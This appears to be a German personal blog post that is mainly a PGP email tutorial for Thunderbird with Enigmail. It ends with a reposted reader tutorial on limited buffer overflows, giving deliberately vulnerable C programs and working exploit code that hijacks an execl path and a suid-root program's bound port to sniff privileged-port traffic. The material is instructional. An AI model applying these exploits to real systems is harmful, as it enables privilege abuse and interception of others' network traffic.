J0hn.X3r

Hallo liebe Blog Leser,

lang ists her, als ich meinen letzten Beitrag geschrieben hab – leider. Gruende gibts einige, zum Beispiel, dass mein alter Laptop Bildschirm kapput war und der neue wollte einfach nicht kommen. Erst meldet sich der Shop nach 3 Wochen und meint “Artikel nicht Lieferbar” – dann nach einer Woche immernoch nicht Geld zurueck, paypal konflikt gemeldet und dann kam das Geld relativ schnell. Der zweite Shop hatte dann auch noch Lieferprobleme.. nichts desto trotz ist er nun da (seit 2 Wochen etwa) und ich kann wieder bloggen. Ein anderer Grund war die fehlende Motivation.

Nun aber zum eigentlichen Thema, da ich meinen PGP eMail Key erneuern wollte und auch das Addon neu installiert habe (inzwischen unterstuetzt es auch 64bit Systeme unter Linux problemlos), dachte ich mir, ich mach ein Tutorial fuer euch. In diesem werde ich Thunderbird benutzen und mich auch nur auf ihn beziehen.

Was wird benoetigt?
– Ein eMail Client der PGP verschluesselte eMails unterstuetzt – ich empfehle euch Thunderbird, weil es dafuer ein echt klasse Addon gibt.
– GnuPG muss installiert werden bzw. vorhanden sein
– Enigmail Addon installieren (bei Thunderbird)

Voraussetzungen erfuellen
Auf die Installation von Thunderbird muss ich wahrscheinlich nicht weiter eingehen, daher nun zu GnuPG, auf der Herstellerseite gibt es das sowohl fuer Windows (man wird weitergeleitet) als auch fuer Linux zum Download.

Windows User waehlen diesen Weg: http://www.gpg4win.org/
Linux User werden es in einigen Distributionen schon in den repos haben.

(X/K/..)Ubuntu/Debian/Linux Mint/BackTrack…

sudo apt-get install gnupg

Arch Linux:

sudo pacman -S gnupg

Wenn das nun installiert ist, schauen wir uns das Thunderbird Addon Enigmail an – den aktuellen Downloadlink gibts auf der Herstellerseite – einfach auf Download, OS & eMail Client auswaehlen und auf Download klicken. Danach einfach die .xpi Datei runterladen und irgendwo speichern.

Nun Thunderbird starten, auf Tools –> Addons gehen, install –> die .xpi Datei suchen, 3sek warten und installieren. Thunderbird neustarten.

Nun sehen wir oben einen weiteren Punkt im Thunderbird, naemlich “OpenPGP”.

Key erstellen

Nun wollen wir einen Verschluesselungs-Key fuer deinen eMail Account erstellen.

Klickt oben auf OpenPGP –> Key Management –> Generate –> New Pair

Zuerst waehlt ihr nun euren eMail Account aus, dann entscheidet ihr, ob ihr ein Passwort verwenden wollt – d.h. bevor ihr eine verschluesselte Mail oeffnet, muss euer PW eingegeben werden. Empfiehlt sich meiner Meinung nach, weil jemand der an eurem PC ist und die Mail dann lesen moechte muss erst das PW eingeben – jedoch kann man sich auch entscheiden kein PW zu benutzen.
Standardmaessig laeuft der Key nach 5 Jahren ab und sollte dann erneuert werden, solltet ihr einen anderen Zeitraum wuenschen, so waehlt es dort aus. Solltet ihr wuenschen das der Key niemals mehr ablaufen soll, macht nen haken in die Checkbox rein.

Nun sollte es in etwa so aussehen:

Schaut nun noch am besten den zweiten Tab an, dort koennt ihr eure Verschluesselung und die Staerke waehlen.

Ich empfehle euch RSA mit einem 4096 Bit Key, in der heutigen Zeit gilt jedoch auch ein 1024 Bit Key “noch” als sicher, 2048 reicht normal auch voll und ganz als Standard aus.

Aussehen solle es dann in etwa so:

Danach ein klick auf “Generate Key” und diesen Bestaetigen. Je nach dem wie stark eure gewaehlte Verschluesselung ist (1024 geht relativ fix, 4096 dauert wenige Minuten).

Danach werdet ihr gefragt ob ihr einen revocation key erstellen wollt, beispielsweise wenn ihr euren secret key verliert, um euren aktuellen key dann zu “deaktivieren” quasi – habs nie gebraucht, aber klickt einfach mal auf Generate.

Nun ist der Vorgang zuende und ihr koennt es einsetzen.

Public Key raussuchen

Wenn euch nun jemand eine verschluesselte eMail schicken will, braucht er euren public Key. Klickt unter Key Management wieder auf euren Key, rechtsklick und dann entweder in eure Zwischenablage kopieren, oder als Datei ausgeben lassen, ich empfehle es als Datei ausgeben zu lassen –> “Export Public Keys only”, irgendwo hinspeichern. Diesen Key koennt ihr nun auf euren Internetseiten veroeffentlichen und wer euch eine verschluesselte eMail senden will, muss diesen Key benutzen.

So, wenn ihr nun jemandem eine verschluesselte eMail schicken wollt, sucht ihr nach seinem Public Key. Diesen ladet ihr euch runter oder kopiert ihn in euren Zwischenspeicher und klickt auf

File –> Import Keys from File
oder
Edit –> Import Keys from Clipboard

Doppelklick auf die .asc datei reicht normal auch aus.

Verschluesselte eMail versenden und empfangen

Dort normal auf “Verfassen” klicken, dann seht ihr da nen tollen OpenPGP Button, anklicken haken rein bei “encrypt message” bzw in der deutschen Version sollte es “nachricht verschluesseln” oder so heißen. Danach auf versenden klicken, ggf. euer PW eingeben und ab geht die Post.

Wenn nun alles geklappt hat, sollte euer Partner diese eMail verschluesselt erhalten haben. Wenn er diese Lesen will, muss er sein PW – falls er eins gewaehlt hat – eingeben.

Genauso ist es, wenn ihr eMails empfangt.

Das wars dann auch soweit von meinem Tutorial, ich hoff es war einigermaßen verstaendlich fuer jedermann/frau.

Die Tage wird vllt ein Tutorial bezueglich Wlan verschluesselungen “knacken” erscheinen, welches ich mal angefangen hatte. Status ist bei ~ 35% oder mal wieder “Scene News” bezueglich neuen Scene Boards, eventuell eine kleine Bewertung dazu und irgendwann kommen auch meine Interviews mit relativ bekannten Scene Board Betreibern oder so, mal schaun.

Eine Art “Tutorial”, welches ich von “frechdachs1337” zugesandt bekommen habe. Ganz nuetzlich, mag es euch daher nicht vorenthalten 😉

tutorial[0] – Einleitung

Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.

Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns überrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann aber nicht bis zur RET kommt sondern
nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann, ja dann muss man kreativ werden!

tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D

  #include 
  #include 
  #include 
  
  int main (int argc, char **argv){
  	char h [] = "/bin/uname";
  	char text[100];
  
  	if(argc > 1)
  		strncpy(text, argv[1], 110);
  	printf("%s\n", h);
  	execl (h,h, (char *)0);
  	return 0;
  }

Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:

  ./test `perl -e 'printf "a"x110'`

aaaaaaaaaa

  ./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`

[LIST DIRECTORY EXECUTED]

Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.

tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D

Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  
  int main(int argc, char **argv) {
  	int s,c, i;
  	socklen_t addr_len;
  	struct sockaddr_in addr;
  	char file_line[60];
  	char recvb[1024];
  	s = socket(AF_INET, SOCK_STREAM, 0);
  	if(atoi(argv[1]) < 1024)
  		return 1338;
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(atoi(argv[1]));
  	addr.sin_family = AF_INET;
  
  	FILE *fp = fopen("prefs.cfg", "r");
  	for(i = 0; i < 65; i++)
  		file_line[i] = getc(fp);
  	fclose(fp);
  
  	bind(s, (struct sockaddr*)&addr, sizeof(addr));
  
  	listen(s, 3);
  
  	addr_len = sizeof(addr);
  	for(;;){
  		c = accept(s, (struct sockaddr*)&addr, &addr_len);
  		recv(c, recvb, sizeof(recvb), 0);
  		printf("%s\n", recvb);
  		close(c);
  	}
  	close(s);
  	return 0;
  }

Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!

Für alle anderen Schwachmaten:

  ....
  struct sockaddr_in addr;
  char file_line[60];
  ....
  FILE *fp = fopen("prefs.cfg", "r");
  for(i = 0; i < ---->65<-----; i++)
  		file_line[i] = getc(fp);
  fclose(fp);

Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?

  ...
  addr.sin_addr.s_addr = INADDR_ANY;
	--->>addr.sin_port = htons(atoi(argv[1]));
	addr.sin_family = AF_INET;
  ...

In addr stehen alle wichtigen Daten zur Verbindung für den Server.
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:

  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  int main () {
  	struct sockaddr_in addr;
  	memset(&addr, 0x0, sizeof(addr));
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(21);
  	addr.sin_family = AF_INET;
  	printf("%x\n", addr);
  	return 0;
  }

Dies gibt aus: 0x15000002
Das bedeutet: 0x1500 = Rückgabe von htons()
0x00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0x02 = Die sin_family.

Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.

  #include 
  #include 
  
  int main (){
  	char buffer[66];
  	memset(buffer, 'a', 64);
    buffer[60] = 0x02;
  	buffer[61] = 0x00;
  	buffer[62] = 0x00;
  	buffer[63] = 0x15;
  	FILE *fp = fopen("prefs.cfg", "w");
  	int i;
  	for(i = 0; i < 65; i++)
  		putc(buffer[i], fp);
  	fclose(fp);
  }

Hier unser finaler Log:

  ./filler
  ./victim 5555
  [PACKETE AUF PORT 21]

Ich hoffe dieser wichtige Abschnitt war aüßerst verständlich.

tutorial[3] - Nachwort

Ich verzichte.